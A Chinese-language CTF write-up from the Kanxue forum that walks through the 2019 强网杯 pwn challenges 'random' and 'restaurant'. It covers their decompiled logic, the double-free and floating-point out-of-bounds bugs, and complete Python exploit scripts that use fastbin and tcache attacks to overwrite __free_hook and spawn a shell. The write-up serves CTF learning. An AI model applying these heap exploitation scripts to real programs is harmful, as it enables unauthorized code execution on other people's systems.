2019-强网杯pwn复现--多数题目

发布者:Seclusion
发布于:2019-10-09 22:52
前面两篇分析qwb题目的文章不是用看雪专栏markdown编辑的,今天刚刚发现看雪支持markdown,这样就不用每次我自己再重新修改格式,复制粘贴就ok了,前面的两篇文章也懒的重新调格式,就重新发了一篇专栏。

前面两篇地址2019-强网杯pwn-babycpp&&trywrite
写在前面:
REFERENCE:
http://blog.eonew.cn/archives/category/ctf/pwn

2019-qwb-random

题目逻辑&&漏洞点

首先将程序的功能放在一个数组里面。

  table.func1 = (__int64)add;
  table.func2 = (__int64)update;
  table.func3 = (__int64)delete;
  table.func4 = (__int64)view;

然后下面利用链表的方式将函数串联在一起。

 

其中在链表中插入节点的方式如下,bss段中存储着最新插入的节点,而且每次插入的节点都是在链表头插入到:

  v2 = (node *)calloc(1uLL, 0x18uLL);
  *(_QWORD *)&v2->type = type;
  v2->func = func;
  v2->pre_node = lastest_node;
  v3 = v2;
  result = &lastest_node;
  lastest_node = v3;

    对应的结构体:
    00000000 node            struc ; (sizeof=0x14, mappedto_7)
    00000000 pre_node        dq ?
    00000008 func            dq ?
    00000010 type            dd ?
    00000014 node            ends

然后删除节点函数如下:

  result = (_QWORD *)lastest_node;
  if ( lastest_node )
  {
    ptr = (node *)lastest_node;
    v4 = (node *)lastest_node;
    do
    {
      while ( *(_QWORD *)&ptr->type != type ) //便利查询符合条件的node
      {
        v4 = ptr;
        result = (_QWORD *)ptr->pre_node;
        ptr = (node *)ptr->pre_node;
        if ( !ptr )
          return result;
      }
      v5 = (void (__fastcall *)(node *))ptr->func;
      if ( ptr == (node *)lastest_node ) //解链操作
      {
        lastest_node = ptr->pre_node;
        v4 = (node *)lastest_node;
        v3 = (node *)lastest_node;
      }
      else
      {
        v4->pre_node = ptr->pre_node;
        v3 = (node *)ptr->pre_node;
      }
      free(ptr); //先释放当前的node
      v5(ptr);  //然后调用当前node中对应的函数
      result = &v3->pre_node;
      ptr = v3;
    }
    while ( v3 );

现在看在添加删除节点都没有问题,但是在add函数中也会有“多余的”添加节点的操作,如下

if ( v0 == 89 )
  {
    for ( i = 0; i <= 14; ++i )
    {
      size = (void *)list[2 * i];
      if ( !size )
      {
        puts("Input the size of the note:");
        LODWORD(size) = get_int();
        if ( (signed int)size > 0 && (signed int)size <= 63 )
        {
          list[2 * i + 1] = (signed int)size;
          list[2 * i] = malloc((signed int)size + 1);
          puts("Input the content of the note:");
          read_n((_BYTE *)list[2 * i], list[2 * i + 1]);
          puts("success!");
          puts("Do you want to add another note, tomorrow?(Y/N)");
          v2 = getchar();
          LODWORD(size) = getchar();
          if ( v2 == 89 )
            LODWORD(size) = (unsigned __int64)put_node((__int64)add, 2); //多余的添加节点的操作,这个部分会导致解链过程当中发生异常。
        }
        return (signed int)size;
      }
    }
  }

测试漏洞

里面有一个别扭的地方,就是利用rand()函数来决定进行什么功能。

v4 = rand();
put_node(*(&table.func1 + v4 % 4), 2);

好像是随机的,没法控制?

 

我们知道计算机模拟的随机数并不是真正的随机,所有产生的随机数都是伪随机数,像这种随机数就可以预测。只要srand设置的seed种子一样,那么rand函数产生的随机数就是一样的。

 

我们查内存,看到srand函数的seed值为0.

 

自己写一个c文件预测一下。

#include <stdlib.h>
#include <stdio.h>

int main()
{
        srand(0);
        char * buf[4];
        buf[0] = "add";
        buf[1] = "update";
        buf[2] = "delete";
        buf[3] = "view";
        for(int i=0;i<50;i++)
        {
                int num = rand()%4;
                printf("%d   :   %s\n",num,buf[num]);
        }
        return 0;
}

根据预测可以看到每个函数的调用顺序。

 

上面说过,在删除节点的过程中如果add功能中选择增添新的节点,那么会导致异常,进而导致double free。

解链过程如下: 设置了一个pre变量,一个cur变量,常规解链操作。
    do
    {
      while ( *(_QWORD *)&ptr->type != type )
      {
        pre = ptr;
        result = (_QWORD *)ptr->pre_node;
        ptr = (node *)ptr->pre_node;
        if ( !ptr )
          return result;
      }
      v5 = (void (__fastcall *)(node *))ptr->func;
      if ( ptr == (node *)lastest_node )
      {
        lastest_node = ptr->pre_node;
        pre = (node *)lastest_node;
        cur = (node *)lastest_node;
      }
      else
      {
        pre->pre_node = ptr->pre_node;
        cur = (node *)ptr->pre_node;
      }
      free(ptr);
      v5(ptr); //运行功能函数
      result = &cur->pre_node;
      ptr = cur;
    }
    while ( cur );

但如果我们在解链过程中运行功能函数的话,会导致异常,具体如下:

刚开始(左边的是链头),下面都是到while循环判断这一句的状态,假设当前满足条件的是A:
#第一次
    A-->B-->C-->D-->E
    header = A  pre = cur = A
#第二次:
    假设在A解链过程中调用add函数增添了新的节点M
    M-->B-->C-->D-->E    
    header = M  pre = cur = B
#第三次
    M-->B  C-->D-->E
    header = A cur = pre = C
    可以看到现在B已经被解链了,但是表头M仍然在pre_node段记录着B的信息,其仍然存在链上,后面会造成double free。(B被释放到fastbin里面可能存在指向fastbin中的chunk,但是后面也会申请出来,emm表达不是很清楚,自己理解吧。)

现在我们知道了漏洞点,后面就是利用double free了,但是libc2.23下对于0x21大小的chunk double free好像不太好用,出题人故意在bss端允许放置0x21的可能,因此可以fastbin attack控制bss段,后面就简单了。

漏洞利用

思路

  1. double free
  2. fastbin attack控制bss端
  3. 任意地址读写get shell

exp

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'info'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './random'

    ctx.symbols = {
        'lastest_node':0x203168,
        'node':0x203180,
    }

    ctx.breakpoints = [0x11C9,0x184E]#menu:0x17B5  reduce:0x11C9  puts_node:0x183a
    #ctx.debug()

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def Y_N(flag = False):
        if flag == False:
            sla('(Y/N)','N')
        else:
            sla('(Y/N)','Y')

    def add(size,content,flag = False):
        Y_N(True)
        sla('size',size)
        sa('content',content)
        if flag == False :
            Y_N()
        else:
            Y_N(True)

    def delete(idx):
        Y_N(True)
        sla('index',idx)

    def view(idx):
        Y_N(True)
        sla('note:\n',idx)

    def update(idx,content):
        Y_N(True)
        sla('index',idx)
        sa('content',content)

    rs()
    sa('name','a'*8)
    ru('game, ')
    prog_base = uu64(ru('\n',drop = True)[-7:-1]) - 0xb90
    lg('prog_base',prog_base)
    sl(35)

    #round 1
    sla('(0~10)',8)
    add(0x21,'\n',True)  #prepare for fastbin attack , used to be the fake_size. And prepare for double free
    for i in range(7):
        Y_N()

    #round 2
    sla('(0~10)',7)
    for i in range(9):
        Y_N()

    #round 3
    sla('(0~10)',2)
    fake_chunk = prog_base + 0x203180
    add(0x8,p64(fake_chunk))  #node 1  fastbin attack
    for i in range(1):
        Y_N()

    #round 4
    sla('(0~10)',3)
    add(0x21,'\n') # prepare for free fake_chunk
    for i in range(2):
        Y_N()

    #round 5
    sla('(0~10)',8)
    for i in range(8):
        Y_N()

    #round 6  
    #get shell
    sla('(0~10)',10)
    payload = p64(prog_base+0x203080)+p64(0x18)
    add(0x17,payload+'\n')#index 3
    for i in range(1):
        Y_N()
    view(1)
    libc_base = uu64(r(6)) - ctx.libc.sym['malloc']
    lg('libc_base',libc_base)
    free_hook = libc_base + ctx.libc.sym['__free_hook']
    one = libc_base + 0x4526a
    update(3,p64(free_hook)+p64(0x10)+'\n')
    for i in range(3):
        Y_N()
    update(1,p64(one)+'\n')

    irt()

2019-qwb-restaurant

题目逻辑及漏洞

题目主要是有一个数组越界,可以控制name的curent_size从而导致堆溢出。

 

要达成数组越界还需要利用double类型浮点数在表示大数的情况下其精度会下降,不能精确表示小数。

 

简单举例:

double num = 1e16;
num += 0.55

虽然num + 0.55,但是由于浮点数的编码规则,其在表示这种大数情况下并不能将0.55这种精度的小数表达出来,因此最终加完之后的num仍然是1e16。

关于double 类型的浮点数精度损失分析详见:内存中的数据存储

漏洞利用

思路(libc 2.27)

  1. 利用double类型浮点数精度损失,以及数组越界来修改name size;
  2. 进行堆溢出修改chunk size为0x421,然后free掉进入unsorted bin,从而泄露libc。(在伪造unsorted bin时,free chunk时要伪造next chunk size以及next next chunk size)
  3. tcache attack修改free_hook。(注意tcache在malloc过程中并不会检查size是否正确)

exp

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'info'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './restaurant'
    ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('172.16.9.21', 9006)
    ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x202360
    }

    ctx.breakpoints = [0x1360]#printf:0xCF9   0xfa2  : set_count    


    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


    def set_name(size,name):
        sla('(y/n)','y')
        sla('name: ',size)
        if size > 0x200:
            return
        sa('name: ',name)

    def order(idx,count,size,name='\n'):
        sla('ice',1)
        sla('want:',idx)
        sla('want:',count)
        sla('tips:',0.55)
        set_name(size,name)

    def pay(size,name='\n'):
        sla('ice',3)
        set_name(size,name)


    def request(name,price):
        sla('ice',4)
        sla('ame: ',name)
        sla('ice: ',price)

    rs()

    request('111',str(1e16))
    request('222',-999)

    #modify the current_size
    order(5,1,0x18)
    order(5,0,0x48)
    order(5,0,0x58)
    order(5,0,0x201)
    order(5,0,0x201)
    order(5,0,0x18)
    payload = 'a'*0x10 + p64(0) + p64(0x421) #fake_chunk
    payload += 'a'*0x30
    payload += p64(0)+p64(0x101) # modify the chunk_size
    payload = payload.ljust(0x430,'a')
    payload += (p64(0)+p64(0x21))*3  #bypass the free_check
    order(6,8,8,payload+'\n')

    #leak libc
    order(5,0,0x201)
    order(5,0,0x48)
    order(5,0,0x201)# free 0x421
    order(5,0,0x28,'a'*8)
    ru('a'*8)
    libc_base = uu64(r(6)) - 0x3ec090
    lg('libc_base',libc_base)

    #get shell
    free_hook = libc_base + ctx.libc.sym['__free_hook']
    system = libc_base + ctx.libc.sym['system']
    payload = 'a'*0x18 + p64(0x101) + p64(free_hook-8)
    order(5,0,0x68,payload+'\n')
    order(5,0,0x201)
    order(5,0,0x58)
    order(5,0,0x201)
    payload = '/bin/sh\0' + p64(system)
    order(5,0,0x58,payload+'\n')
    order(5,0,0x201)

    irt()

2019-qwb-one

iddm正在抽时间写o(╥﹏╥)o


声明:该文观点仅代表作者本人,转载请注明来自看雪